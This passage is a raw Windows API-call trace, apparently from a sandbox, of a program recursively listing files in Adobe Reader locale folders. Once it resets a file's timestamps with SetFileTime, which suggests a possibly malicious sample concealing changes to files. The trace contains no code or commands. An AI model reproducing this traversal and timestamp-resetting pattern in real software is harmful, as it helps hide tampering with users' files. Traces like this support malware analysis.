10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.579] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="DVA.EUQ", cAlternateFileName="")) returned 1 [0070.579] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.579] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ") returned="DigSig.EUQ" [0070.579] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.579] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.579] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="eBook.EUQ", cAlternateFileName="")) returned 1 [0070.579] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.580] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DVA.EUQ") returned="DVA.EUQ" [0070.580] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.580] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.580] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="EScript.EUQ", cAlternateFileName="")) returned 1 [0070.580] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.580] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ") returned="eBook.EUQ" [0070.580] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.580] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.580] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="IA32.EUQ", cAlternateFileName="")) returned 1 [0070.580] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.580] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\EScript.EUQ") returned="EScript.EUQ" [0070.580] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.580] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.581] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="makeaccessible.EUQ", cAlternateFileName="MAKEAC~1.EUQ")) returned 1 [0070.581] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.581] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\IA32.EUQ") returned="IA32.EUQ" [0070.581] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.581] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.581] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Multimedia.EUQ", cAlternateFileName="MULTIM~1.EUQ")) returned 1 [0070.581] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.581] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\makeaccessible.EUQ") returned="makeaccessible.EUQ" [0070.581] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.581] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.581] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="pddom.EUQ", cAlternateFileName="")) returned 1 [0070.581] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.582] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Multimedia.EUQ") returned="Multimedia.EUQ" [0070.582] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.582] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.582] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x74, dwReserved1=0x0, cFileName="PPKLite.EUQ", cAlternateFileName="")) returned 1 [0070.582] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.582] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\pddom.EUQ") returned="pddom.EUQ" [0070.582] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.582] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.582] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e000, dwReserved0=0x74, dwReserved1=0x0, cFileName="RdLang32.EUQ", cAlternateFileName="")) returned 1 [0070.582] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.582] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ") returned="PPKLite.EUQ" [0070.582] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.582] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.583] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="ReadOutLoud.EUQ", cAlternateFileName="READOU~1.EUQ")) returned 1 [0070.583] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.583] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\RdLang32.EUQ") returned="RdLang32.EUQ" [0070.583] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.583] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.583] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x74, dwReserved1=0x0, cFileName="reflow.EUQ", cAlternateFileName="")) returned 1 [0070.583] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.583] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ") returned="ReadOutLoud.EUQ" [0070.583] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.583] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.583] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="SaveAsRTF.EUQ", cAlternateFileName="SAVEAS~1.EUQ")) returned 1 [0070.584] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.584] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Search.EUQ", cAlternateFileName="")) returned 1 [0070.584] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.584] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x74, dwReserved1=0x0, cFileName="SendMail.EUQ", cAlternateFileName="")) returned 1 [0070.584] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.584] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0070.584] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.584] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.584] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.585] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.585] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.585] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.585] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.585] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0070.585] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.589] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.589] CloseHandle (hObject=0x98) returned 1 [0070.590] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0070.590] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.590] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0070.590] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0070.590] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0070.590] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.591] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="updater.EUQ", cAlternateFileName="")) returned 1 [0070.591] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.591] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 1 [0070.591] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.591] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 0 [0070.591] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.591] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0070.591] lstrcmpA (lpString1=".", lpString2="fi_FI") returned -1 [0070.591] lstrcmpA (lpString1="..", lpString2="fi_FI") returned -1 [0070.592] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, 